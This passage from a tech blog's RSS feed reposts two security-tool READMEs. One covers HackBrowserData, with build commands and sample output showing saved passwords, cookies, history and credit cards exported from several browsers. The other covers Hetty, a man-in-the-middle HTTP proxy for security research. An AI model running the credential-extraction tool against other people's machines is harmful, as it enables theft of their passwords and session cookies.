<td align="left">Google Chrome Beta</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Chromium</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Microsoft Edge Dev</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Brave</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Opera</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Vivaldi</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox Beta</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox Dev</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox ESR</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
<tr>
<td align="left">Firefox Nightly</td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
<td align="center"><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td>
</tr>
</tbody>
</table>
<h2><a id="user-content-install" class="anchor" href="https://github.com/moonD4rk/HackBrowserData#install" target="_blank" rel="nofollow noopener" aria-hidden="true"></a><strong>Install</strong></h2>
<p dir="auto">Installation of <code>HackBrowserData</code> is dead-simple, just download <a href="https://github.com/moonD4rk/HackBrowserData/releases" target="_blank" rel="nofollow noopener">the release for your system</a> and run the binary.</p>
<blockquote>
<p dir="auto">In some situations, this security tool will be treated as a virus by Windows Defender or other antivirus software and can not be executed. The code is all open source, you can modify and compile by yourself.</p>
</blockquote>
<h3><a id="user-content-building-from-source" class="anchor" href="https://github.com/moonD4rk/HackBrowserData#building-from-source" target="_blank" rel="nofollow noopener" aria-hidden="true"></a><strong>Building from source</strong></h3>
<p dir="auto">support <code>go 1.14+</code></p>
<div class="highlight highlight-source-shell position-relative overflow-auto">
<pre>git clone https://github.com/moonD4rk/HackBrowserData

<span class="pl-c1">cd</span> HackBrowserData

go build</pre>
</div>
<p><strong>Cross compile</strong></p>
<p>Need to install target OS&#8217;s <code>gcc</code> library, here&#8217;s an example of the use <code>Mac</code> building for <code>Windows</code> and <code>Linus</code></p>
<h3><strong>Windows</strong></h3>
<div class="highlight highlight-source-shell">
<pre>brew install mingw-w64

CGO_ENABLED=1 GOOS=windows GOARCH=amd64 CC=<span class="pl-s"><span class="pl-pds">"</span>x86_64-w64-mingw32-gcc<span class="pl-pds">"</span></span> go build</pre>
</div>
<h3><strong>Linux</strong></h3>
<div class="highlight highlight-source-shell">
<pre>brew install FiloSottile/musl-cross/musl-cross

CC=x86_64-linux-musl-gcc CXX=x86_64-linux-musl-g++ GOARCH=amd64 GOOS=linux CGO_ENABLED=1 go build -ldflags <span class="pl-s"><span class="pl-pds">"</span>-linkmode external -extldflags -static<span class="pl-pds">"</span></span></pre>
</div>
<h3><a id="user-content-run" class="anchor" href="https://github.com/moonD4rk/HackBrowserData#run" target="_blank" rel="nofollow noopener" aria-hidden="true"></a><strong>Run</strong></h3>
<p>You can double-click to run, or use the command line.</p>
<pre><code>PS C:\test&gt; .\hack-browser-data.exe -h
NAME:
   hack-browser-data - Export passwords/cookies/history/bookmarks from browser
USAGE:
   [hack-browser-data -b chrome -f json -dir results -cc]
   Get all data(password/cookie/history/bookmark) from chrome
VERSION:
   0.3.7</code></pre>
<pre><code>GLOBAL OPTIONS:
   --verbose, --vv                     verbose (default: false)
   --compress, --cc                    compress result to zip (default: false)
   --browser value, -b value           available browsers: all|opera|firefox|chrome|edge (default: "all")
   --results-dir value, --dir value    export dir (default: "results")
   --format value, -f value            format, csv|json|console (default: "csv")
   --profile-dir-path value, -p value  custom profile dir path, get with chrome://version
   --key-file-path value, -k value     custom key file path
   --help, -h                          show help (default: false)
   --version, -v                       print the version (default: false)

PS C:\test&gt;  .\hack-browser-data.exe -b all -f json --dir results -cc
[x]:  Get 44 cookies, filename is results/microsoft_edge_cookie.json
[x]:  Get 54 history, filename is results/microsoft_edge_history.json
[x]:  Get 1 passwords, filename is results/microsoft_edge_password.json
[x]:  Get 4 bookmarks, filename is results/microsoft_edge_bookmark.json
[x]:  Get 6 bookmarks, filename is results/360speed_bookmark.json
[x]:  Get 19 cookies, filename is results/360speed_cookie.json
[x]:  Get 18 history, filename is results/360speed_history.json
[x]:  Get 1 passwords, filename is results/360speed_password.json
[x]:  Get 12 history, filename is results/qq_history.json
[x]:  Get 1 passwords, filename is results/qq_password.json
[x]:  Get 12 bookmarks, filename is results/qq_bookmark.json
[x]:  Get 14 cookies, filename is results/qq_cookie.json
[x]:  Get 28 bookmarks, filename is results/firefox_bookmark.json
[x]:  Get 10 cookies, filename is results/firefox_cookie.json
[x]:  Get 33 history, filename is results/firefox_history.json
[x]:  Get 1 passwords, filename is results/firefox_password.json
[x]:  Get 1 passwords, filename is results/chrome_password.json
[x]:  Get 4 bookmarks, filename is results/chrome_bookmark.json
[x]:  Get 6 cookies, filename is results/chrome_cookie.json
[x]:  Get 6 history, filename is results/chrome_history.json
[x]:  Compress success, zip filename is results/archive.zip</code><code></code></pre>
<h3 dir="auto">Run with custom browser profile path</h3>
<div class="snippet-clipboard-content position-relative overflow-auto">
<pre><code>PS C:\Users\User\Desktop&gt; .\hack-browser-data.exe -b edge -p 'C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Default' -k 'C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Local State'

[x]:  Get 29 history, filename is results/microsoft_edge_history.csv
[x]:  Get 0 passwords, filename is results/microsoft_edge_password.csv
[x]:  Get 1 credit cards, filename is results/microsoft_edge_credit.csv
[x]:  Get 4 bookmarks, filename is results/microsoft_edge_bookmark.csv
[x]:  Get 54 cookies, filename is results/microsoft_edge_cookie.csv


PS C:\Users\User\Desktop&gt; .\hack-browser-data.exe -b edge -p 'C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Default'

[x]:  Get 1 credit cards, filename is results/microsoft_edge_credit.csv
[x]:  Get 4 bookmarks, filename is results/microsoft_edge_bookmark.csv
[x]:  Get 54 cookies, filename is results/microsoft_edge_cookie.csv
[x]:  Get 29 history, filename is results/microsoft_edge_history.csv
[x]:  Get 0 passwords, filename is results/microsoft_edge_password.csv</code></pre>
</div>
<p>The post <a href="http://kostacipo.stream/hackbrowserdata-decrypt-passwords-cookies-history-bookmarks-from-the-browser/">HackBrowserData &#8211; Decrypt passwords/cookies/history/bookmarks from the browser</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/hackbrowserdata-decrypt-passwords-cookies-history-bookmarks-from-the-browser/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Hetty &#8211; An HTTP Toolkit For Security Research</title>
		<link>http://kostacipo.stream/hetty-an-http-toolkit-for-security-research/</link>
					<comments>http://kostacipo.stream/hetty-an-http-toolkit-for-security-research/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Wed, 06 Apr 2022 11:14:59 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Data]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[HTTP Toolkit]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2129</guid>

					<description><![CDATA[<p>Hetty is an HTTP toolkit for security research. It aims to become an open source alternative to commercial software like Burp Suite Pro, with powerful features tailored to the needs of the infosec and bug bounty community. Features Machine-in-the-middle (MITM) HTTP proxy, with logs and advanced search HTTP client for manually creating/editing requests, and replay [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/hetty-an-http-toolkit-for-security-research/">Hetty &#8211; An HTTP Toolkit For Security Research</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>Hetty</strong> is an HTTP toolkit for security research. It aims to become an open source alternative to commercial software like Burp Suite Pro, with powerful features tailored to the needs of the infosec and bug bounty community.</p>
<h2><strong>Features</strong></h2>
<ul>
<li>Machine-in-the-middle (MITM) HTTP proxy, with logs and advanced search</li>
<li>HTTP client for manually creating/editing requests, and replay proxied requests</li>
<li>Scope support, to help keep work organized</li>
<li>Easy-to-use web based admin interface</li>
<li>Project based database storage, to help keep work organized</li>
</ul>
<p><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/2139.png" alt="ℹ" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Hetty is in early development. Please see the <a href="https://github.com/dstotijn/hetty/projects/1" target="_blank" rel="nofollow noopener">backlog</a> for details.</p>
<h2 id="community" class="anchor anchorWithStickyNavbar_mojV">Community<a class="hash-link" title="Direct link to heading" href="https://hetty.xyz/docs/#community" target="_blank" rel="nofollow noopener">​</a></h2>
<p><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f4ac.png" alt="💬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://discord.gg/3HVsj5pTFP" target="_blank" rel="noopener noreferrer nofollow">Join the Hetty Discord server</a>.</p>
<h2><a id="user-content-documentation" class="anchor" href="https://github.com/dstotijn/hetty#documentation" target="_blank" rel="nofollow noopener" aria-hidden="true"></a><strong>Documentation</strong></h2>
<p><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f4d6.png" alt="📖" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://hetty.xyz/" target="_blank" rel="nofollow noopener">Read the docs.</a></p>
<h2><a id="user-content-installation" class="anchor" href="https://github.com/dstotijn/hetty#installation" target="_blank" rel="nofollow noopener" aria-hidden="true"></a><strong>Installation</strong></h2>
<p>The quickest way to install and update Hetty is via a package manager:</p>
<h2><strong>macOS</strong></h2>
<p><code>brew install hettysoft/tap/hetty</code></p>
<h2><strong>LINUX </strong></h2>
<p><code>sudo snap install hetty</code></p>
<h2><strong>WINDOWS</strong></h2>
<p><code><span class="token-line"><span class="token plain">scoop bucket add hettysoft https://github.com/hettysoft/scoop-bucket.git</span><br />
</span><span class="token-line"><span class="token plain">scoop install hettysoft/hetty</span></span></code></p>
<p>Alternatively, you can <a href="https://github.com/dstotijn/hetty/releases/latest" target="_blank" rel="noopener noreferrer nofollow">download the latest release from GitHub</a> for your OS and architecture, and move the binary to a directory in your <code>$PATH</code>. If your OS is not available for one of the package managers or not listed in the GitHub releases, you can compile from source <em>(link?)</em> or use a Docker image <em>(link?)</em>.</p>
<h2 id="run" class="anchor anchorWithStickyNavbar_mojV"><strong>Run<a class="hash-link" title="Direct link to heading" href="https://hetty.xyz/docs/#run" target="_blank" rel="nofollow noopener">​</a></strong></h2>
<p>Once installed, start Hetty from the command line:</p>
<div class="codeBlockContainer_I0IT language-sh theme-code-block">
<div class="codeBlockContent_wNvx sh">
<pre class="prism-code language-sh codeBlock_jd64 thin-scrollbar" tabindex="0"><code class="codeBlockLines_mRuA"><span class="token-line"><span class="token plain">hetty</span>
</span></code></pre>
</div>
</div>
<p>When invoked without any options, this:</p>
<ul>
<li>Creates a root CA certificate and private key, stored on disk at <code>~/.hetty/</code></li>
<li>Creates a BadgerDB database, stored on disk at <code>~/.hetty/db/</code></li>
<li>Runs an HTTP server that listens on <code>0.0.0.0:8080</code>, used for proxying and serving the admin interface</li>
</ul>
<p>You should see the following console output:</p>
<div class="codeBlockContainer_I0IT language-sh theme-code-block">
<div class="codeBlockContent_wNvx sh">
<pre class="prism-code language-sh codeBlock_jd64 thin-scrollbar" tabindex="0"><code class="codeBlockLines_mRuA"><span class="token-line"><span class="token plain">2022/03/01 11:09:15 INFO [main] Hetty (v0.5.1) is running on :8080 ...</span></span><span class="token-line"><span class="token plain">2022/03/01 11:09:15 INFO [main] Get started at http://localhost:8080</span></span></code></pre>
<p><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> You can now visit <a href="http://localhost:8080/" target="_blank" rel="noopener noreferrer nofollow">http://localhost:8080</a> to access the admin interface.</p>
<div class="admonition admonition-tip alert alert--success">
<div class="admonition-heading">
<h5>TIP</h5>
</div>
<div class="admonition-content">
<p>To easily use the HTTP proxy without manual setup, Hetty can invoke Chrome (if installed) on startup with the correct predefined settings, via:</p>
<div class="codeBlockContainer_I0IT language-sh theme-code-block">
<div class="codeBlockContent_wNvx sh">
<pre class="prism-code language-sh codeBlock_jd64 thin-scrollbar" tabindex="0"><code class="codeBlockLines_mRuA"><span class="token-line"><span class="token plain">hetty --chrome</span></span></code></pre>
</div>
</div>
<p>Alternatively, you can <a href="https://hetty.xyz/docs/guides/trust-root-ca" target="_blank" rel="nofollow noopener">trust the root CA certificate system wide</a>.</p>
</div>
</div>
<h2 id="create-a-project" class="anchor anchorWithStickyNavbar_mojV"><strong>Create a project<a class="hash-link" title="Direct link to heading" href="https://hetty.xyz/docs/#create-a-project" target="_blank" rel="nofollow noopener">​</a></strong></h2>
<ol>
<li>Visit the admin interface at <a href="http://localhost:8080/" target="_blank" rel="noopener noreferrer nofollow">http://localhost:8080</a> and click “Manage Projects”.</li>
<li>Use the “New project” form to create an open new project:</li>
</ol>
<p><a href="https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232522" src="https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba.png" sizes="auto, (max-width: 1078px) 100vw, 1078px" srcset="https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba.png 1078w, https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba-460x105.png 460w, https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba-1024x234.png 1024w, https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba-768x175.png 768w, https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba-500x114.png 500w, https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba-200x46.png 200w, https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba-378x86.png 378w, https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba-565x129.png 565w, https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba-120x27.png 120w, https://hakin9.org/wp-content/uploads/2020/11/new-project-ce6c4ded1e4e9141975ba1074e25dbba-310x71.png 310w" alt="" width="1078" height="246" /></a></p>
<p>Once you have a project created and opened, any incoming HTTP requests proxied by Hetty will be logged.</p>
<h2 id="use-the-proxy" class="anchor anchorWithStickyNavbar_mojV"><strong>Use the proxy<a class="hash-link" title="Direct link to heading" href="https://hetty.xyz/docs/#use-the-proxy" target="_blank" rel="nofollow noopener">​</a></strong></h2>
<p>To use Hetty’s HTTP proxy, you have several options:</p>
<ul>
<li>Run Hetty with <code>hetty --chrome</code> and use a preconfigured Chrome instance (recommended)</li>
<li>Use a browser extension like <a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/" target="_blank" rel="noopener noreferrer nofollow">FoxyProxy</a> (Firefox) or <a href="https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif" target="_blank" rel="noopener noreferrer nofollow">Proxy SwitchyOmega</a> (Chrome)</li>
<li>Configure system wide HTTP proxy settings (not recommended)</li>
</ul>
<p>When using a browser extension for proxying, you can use <code>http://localhost:8080</code> as the proxy URL (unless you’ve specified a custom listen to address with the <code>--addr</code> option).</p>
<div class="admonition admonition-note alert alert--secondary">
<div class="admonition-heading">
<h5>NOTE</h5>
</div>
<div class="admonition-content">
<p>If you’re planning to use the proxy from a machine different than the one running Hetty (e.g. another device in your LAN), you’ll need to use a non-loopback network address, e.g. the IP address assigned by your DHCP server.</p>
</div>
</div>
<p><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> With one of the above options, use the proxy by visiting a website to incur some logs we’ll use in the next section.</p>
<h2 id="view-proxy-logs" class="anchor anchorWithStickyNavbar_mojV"><strong>View proxy logs<a class="hash-link" title="Direct link to heading" href="https://hetty.xyz/docs/#view-proxy-logs" target="_blank" rel="nofollow noopener">​</a></strong></h2>
<p>Once you’ve generated some traffic on the HTTP proxy, there should be some requests logged. Let’s review them by opening the <em>Proxy logs</em> page in the admin interface, found in the vertical menu bar on the left.</p>
</div>
</div>
<p><a href="https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232523" src="https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454.png" sizes="auto, (max-width: 3024px) 100vw, 3024px" srcset="https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454.png 3024w, https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454-460x271.png 460w, https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454-1024x604.png 1024w, https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454-768x453.png 768w, https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454-1536x906.png 1536w, https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454-2048x1208.png 2048w, https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454-500x295.png 500w, https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454-200x118.png 200w, https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454-378x223.png 378w, https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454-565x333.png 565w, https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454-120x71.png 120w, https://hakin9.org/wp-content/uploads/2020/11/list-proxy-logs-da39e18e661c9f899130d5bf83f2b454-310x183.png 310w" alt="" width="3024" height="1784" /></a></p>
<h3 id="copy-to-sender" class="anchor anchorWithStickyNavbar_mojV"><strong>Copy to Sender<a class="hash-link" title="Direct link to heading" href="https://hetty.xyz/docs/#copy-to-sender" target="_blank" rel="nofollow noopener">​</a></strong></h3>
<p>Use the “copy” icon next to any log entry to copy this request to the <em>Sender</em> module, allowing you to edit and resend the HTTP request:</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/11/copy-to-sender-c0dae9943ad3f00f4ec9f07dcfbbd292.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232525" src="https://hakin9.org/wp-content/uploads/2020/11/copy-to-sender-c0dae9943ad3f00f4ec9f07dcfbbd292.png" sizes="auto, (max-width: 222px) 100vw, 222px" srcset="https://hakin9.org/wp-content/uploads/2020/11/copy-to-sender-c0dae9943ad3f00f4ec9f07dcfbbd292.png 222w, https://hakin9.org/wp-content/uploads/2020/11/copy-to-sender-c0dae9943ad3f00f4ec9f07dcfbbd292-200x151.png 200w, https://hakin9.org/wp-content/uploads/2020/11/copy-to-sender-c0dae9943ad3f00f4ec9f07dcfbbd292-120x91.png 120w" alt="" width="222" height="168" /></a></p>
<h2 id="edit--send-request" class="anchor anchorWithStickyNavbar_mojV"><strong>Edit &amp; send request<a class="hash-link" title="Direct link to heading" href="https://hetty.xyz/docs/#edit--send-request" target="_blank" rel="nofollow noopener">​</a></strong></h2>
<p>Browse to the <em>Sender</em> module via the vertical menu bar on the left.</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232526" src="https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba.png" sizes="auto, (max-width: 3024px) 100vw, 3024px" srcset="https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba.png 3024w, https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba-460x271.png 460w, https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba-1024x604.png 1024w, https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba-768x453.png 768w, https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba-1536x906.png 1536w, https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba-2048x1208.png 2048w, https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba-500x295.png 500w, https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba-200x118.png 200w, https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba-378x223.png 378w, https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba-565x333.png 565w, https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba-120x71.png 120w, https://hakin9.org/wp-content/uploads/2020/11/sender-04170211c39aa4ecea1a6a7b091eabba-310x183.png 310w" alt="" width="3024" height="1784" /></a></p>
<p>At the bottom of the screen, click the request we just copied from the Proxy logs.</p>
<p>Now you can edit the method, URL, request headers and body of the request. Every time you click <em>Send</em>, a new request is sent and recorded in the history pane at the bottom of the screen.</p>
<h2 id="whats-next" class="anchor anchorWithStickyNavbar_mojV"><strong>What’s next?<a class="hash-link" title="Direct link to heading" href="https://hetty.xyz/docs/#whats-next" target="_blank" rel="nofollow noopener">​</a></strong></h2>
<p>You should now be up and running with Hetty! <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f389.png" alt="🎉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Check out the <a href="https://hetty.xyz/docs/category/guides" target="_blank" rel="nofollow noopener">guides</a> for more detailed feature documentation.</p>
<h2 id="support" class="anchor anchorWithStickyNavbar_mojV"><strong>Support<a class="hash-link" title="Direct link to heading" href="https://hetty.xyz/docs/#support" target="_blank" rel="nofollow noopener">​</a></strong></h2>
<p>Use <a href="https://github.com/dstotijn/hetty/issues" target="_blank" rel="noopener noreferrer nofollow">issues</a> for bug reports and feature requests, and <a href="https://github.com/dstotijn/hetty/discussions" target="_blank" rel="noopener noreferrer nofollow">discussions</a> for questions and troubleshooting.</p>
<h2 id="community" class="anchor anchorWithStickyNavbar_mojV"><strong>Community<a class="hash-link" title="Direct link to heading" href="https://hetty.xyz/docs/#community" target="_blank" rel="nofollow noopener">​</a></strong></h2>
